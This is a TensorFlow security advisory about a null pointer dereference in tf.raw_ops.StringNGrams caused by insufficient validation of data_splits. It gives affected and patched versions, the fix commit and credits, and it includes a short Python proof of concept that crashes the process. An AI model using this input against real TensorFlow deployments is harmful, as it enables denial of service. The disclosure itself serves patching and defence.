| Package | Affected versions | Patched versions |
|---|---|---|
| tensorflow | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
| tensorflow-cpu | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
| tensorflow-gpu | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
| tensorflow | ≥ 2.2.0, < 2.2.3≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.2< 2.1.4 | 2.2.32.3.32.4.22.1.4 |
An attacker can trigger a dereference of a null pointer in tf.raw_ops.StringNGrams:
import tensorflow as tf
data=tf.constant([''] * 11, shape=[11], dtype=tf.string)
splits = [0]*115
splits.append(3)
data_splits=tf.constant(splits, shape=[116], dtype=tf.int64)
tf.raw_ops.StringNGrams(data=data, data_splits=data_splits, separator=b'Ss',
ngram_widths=[7,6,11],
left_pad='ABCDE', right_pad=b'ZYXWVU',
pad_width=50, preserve_short_sequences=True)
This is because the implementation does not fully validate the data_splits argument. This would result in ngrams_data to be a null pointer when the output would be computed to have 0 or negative size.
Later writes to the output tensor would then cause a null pointer dereference.
We have patched the issue in GitHub commit ba424dd8f16f7110eea526a8086f1a155f14f22b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
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